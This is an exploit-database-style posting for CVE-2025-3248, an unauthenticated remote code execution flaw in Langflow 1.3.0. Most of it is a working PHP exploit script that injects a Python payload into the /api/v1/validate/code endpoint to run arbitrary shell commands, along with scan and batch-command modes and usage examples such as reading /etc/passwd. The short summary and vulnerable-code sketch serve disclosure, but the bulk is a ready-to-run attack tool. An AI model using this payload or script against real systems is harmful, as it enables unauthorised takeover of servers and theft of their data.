============================================================================================================================================= | # Title : Langflow 1.3.0 Unauthenticated Code Execution via Code Validation API | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://github.com/langflow-ai/langflow | ============================================================================================================================================= POC : [+] References : https://packetstorm.news/files/id/190524/ & CVE-2025-3248 [+] Summary : A critical remote code execution vulnerability exists in Langflow that allows unauthenticated attackers to execute arbitrary system commands via the code validation API endpoint. The vulnerability enables complete compromise of Langflow instances through improper input sanitization in the Python code execution functionality. The vulnerability exists in Langflow's code validation endpoint (`/api/v1/validate/code`) where user-supplied Python code is executed without proper sandboxing or input validation. The system fails to restrict dangerous Python built-ins and modules, allowing attackers to execute arbitrary operating system commands. Vulnerable Code Pattern: ```python # In /api/v1/validate/code endpoint (conceptual) @app.post("/api/v1/validate/code") def validate_code(code_request: CodeValidationRequest): code = code_request.code # Dangerous: Code is executed without proper sandboxing try: # Code is compiled and executed in same context exec(code) # Or similar execution mechanism return {"valid": True} except Exception as e: return {"valid": False, "error": str(e)} [+] Usage: # Vulnerability Scan php exploit.php http://localhost:7860 --scan # Execute a Specific Command php exploit.php http://localhost:7860 "whoami" php exploit.php http://langflow.example.com "cat /etc/passwd" # Test Multiple Commands php exploit.php http://target:7860 --test [+] POC : colors = [ 'RED' => "\033[91m", 'GREEN' => "\033[92m", 'YELLOW' => "\033[93m", 'BLUE' => "\033[94m", 'MAGENTA' => "\033[95m", 'CYAN' => "\033[96m", 'WHITE' => "\033[97m", 'BOLD' => "\033[1m", 'RESET' => "\033[0m" ]; // Initialize cURL session $this->session = curl_init(); curl_setopt_array($this->session, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => 10, CURLOPT_USERAGENT => 'Mozilla/5.0', CURLOPT_HTTPHEADER => [ 'Content-Type: application/json', 'Accept: application/json' ] ]); } public function __destruct() { if ($this->session) { curl_close($this->session); } } private function color($text, $color) { return $this->colors[$color] . $text . $this->colors['RESET']; } private function showBanner() { $bannerColors = [$this->colors['GREEN'], $this->colors['CYAN'], $this->colors['BLUE']]; $randomColor = $bannerColors[array_rand($bannerColors)]; $banner = $randomColor . " " . $this->colors['RESET'] . $this->colors['MAGENTA'] . " " . $this->colors['RESET'] . $this->colors['RED'] . "\n CVE-2025-3248 - Langflow RCE Exploit\n" . $this->colors['RESET'] . $this->colors['WHITE'] . " @indoushka\n\n" . $this->colors['RESET']; echo $banner; } private function makeRequest($url, $method = 'GET', $data = null) { curl_setopt_array($this->session, [ CURLOPT_URL => $url, CURLOPT_CUSTOMREQUEST => $method, CURLOPT_POSTFIELDS => $data ? json_encode($data) : null, CURLOPT_HTTPHEADER => [ 'Content-Type: application/json', 'Accept: application/json' ] ]); $response = curl_exec($this->session); $httpCode = curl_getinfo($this->session, CURLINFO_HTTP_CODE); $error = curl_error($this->session); if ($error) { return ['success' => false, 'error' => $error]; } return [ 'success' => true, 'status_code' => $httpCode, 'content' => $response ]; } private function parseOutput($response) { if (!$response['success']) { return $response['error']; } if ($response['status_code'] === 200) { $data = json_decode($response['content'], true); if (json_last_error() === JSON_ERROR_NONE) { // Extract error message containing command output if (isset($data['function']['errors'][0])) { $errorMsg = $data['function']['errors'][0]; if (is_string($errorMsg) && strpos($errorMsg, "b'") === 0) { // Decode the output from Python bytes format $output = substr($errorMsg, 2, -1); $output = stripcslashes($output); return $output; } return $errorMsg; } } } return "[!] Exploit failed with status " . $response['status_code']; } public function exploit($url, $command) { $this->showBanner(); $targetUrl = rtrim($url, '/'); $endpoint = $targetUrl . '/api/v1/validate/code'; echo $this->color("[*] Target: ", 'BLUE') . $targetUrl . "\n"; echo $this->color("[*] Command: ", 'BLUE') . $command . "\n"; echo $this->color("[*] Endpoint: ", 'BLUE') . $endpoint . "\n\n"; // Craft the Python code injection payload $payload = [ "code" => " def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{$command}\", shell=True))')): pass " ]; echo $this->color("[*] Sending payload...", 'YELLOW') . "\n"; $response = $this->makeRequest($endpoint, 'POST', $payload); echo $this->color("[*] Status Code: ", 'YELLOW') . $response['status_code'] . "\n"; echo $this->color("[*] Raw Response: ", 'YELLOW') . "\n"; echo substr($response['content'], 0, 500) . "\n\n"; $output = $this->parseOutput($response); echo $this->color("[+] Command Output:", 'GREEN') . "\n"; echo $this->color(str_repeat("=", 60), 'CYAN') . "\n"; echo $output . "\n"; echo $this->color(str_repeat("=", 60), 'CYAN') . "\n"; return $output; } public function scan($url) { $this->showBanner(); $targetUrl = rtrim($url, '/'); $endpoint = $targetUrl . '/api/v1/validate/code'; echo $this->color("[*] Scanning target for Langflow vulnerability: ", 'BLUE') . $targetUrl . "\n\n"; // First check if endpoint exists echo $this->color("[*] Checking if API endpoint exists...", 'YELLOW') . "\n"; $response = $this->makeRequest($endpoint, 'GET'); if (!$response['success']) { echo $this->color("[-] Endpoint not accessible", 'RED') . "\n"; return false; } echo $this->color("[+] Endpoint is accessible", 'GREEN') . " - Status: " . $response['status_code'] . "\n"; // Test with a simple command $testCommand = "echo VULNERABLE"; $payload = [ "code" => " def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{$testCommand}\", shell=True))')): pass " ]; echo $this->color("[*] Testing for RCE vulnerability...", 'YELLOW') . "\n"; $response = $this->makeRequest($endpoint, 'POST', $payload); if ($response['success'] && $response['status_code'] === 200) { $data = json_decode($response['content'], true); if (isset($data['function']['errors'][0]) && strpos($data['function']['errors'][0], 'VULNERABLE') !== false) { echo $this->color("[+] Target is VULNERABLE to CVE-2025-3248!", 'RED') . "\n"; return true; } } echo $this->color("[-] Target does not appear to be vulnerable", 'GREEN') . "\n"; return false; } public function testCommands($url) { $this->showBanner(); echo $this->color("[*] Testing common commands on: ", 'BLUE') . $url . "\n\n"; $commands = [ 'whoami' => 'Current user', 'pwd' => 'Current directory', 'uname -a' => 'System information', 'id' => 'User ID information', 'ls -la' => 'Directory listing' ]; foreach ($commands as $cmd => $description) { echo $this->color("[*] Testing: ", 'YELLOW') . $description . "\n"; $output = $this->exploit($url, $cmd); if (!empty(trim($output)) && !strpos($output, 'Exploit failed')) { echo $this->color("[+] Success: ", 'GREEN') . trim($output) . "\n"; } else { echo $this->color("[-] Failed", 'RED') . "\n"; } echo "\n"; } } } // Main execution if (php_sapi_name() === 'cli') { if ($argc < 2) { echo "CVE-2025-3248 - Langflow RCE Exploit\n"; echo "Usage:\n"; echo " php exploit.php [command]\n"; echo " php exploit.php --scan\n"; echo " php exploit.php --test\n"; echo "\nExamples:\n"; echo " php exploit.php http://localhost:7860 \"whoami\"\n"; echo " php exploit.php https://langflow.example.com \"ls -la\"\n"; echo " php exploit.php http://target:7860 --scan\n"; echo " php exploit.php http://target:7860 --test\n"; echo "\nDescription:\n"; echo " Exploits RCE vulnerability in Langflow via /api/v1/validate/code endpoint\n"; exit(1); } $target = $argv[1]; $command = $argv[2] ?? '--scan'; if (!filter_var($target, FILTER_VALIDATE_URL)) { echo "Error: Invalid target URL\n"; exit(1); } $exploit = new LangflowExploit(); switch ($command) { case '--scan': $exploit->scan($target); break; case '--test': $exploit->testCommands($target); break; default: $exploit->exploit($target, $command); break; } } else { echo "This script is intended for command line use only.\n"; } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================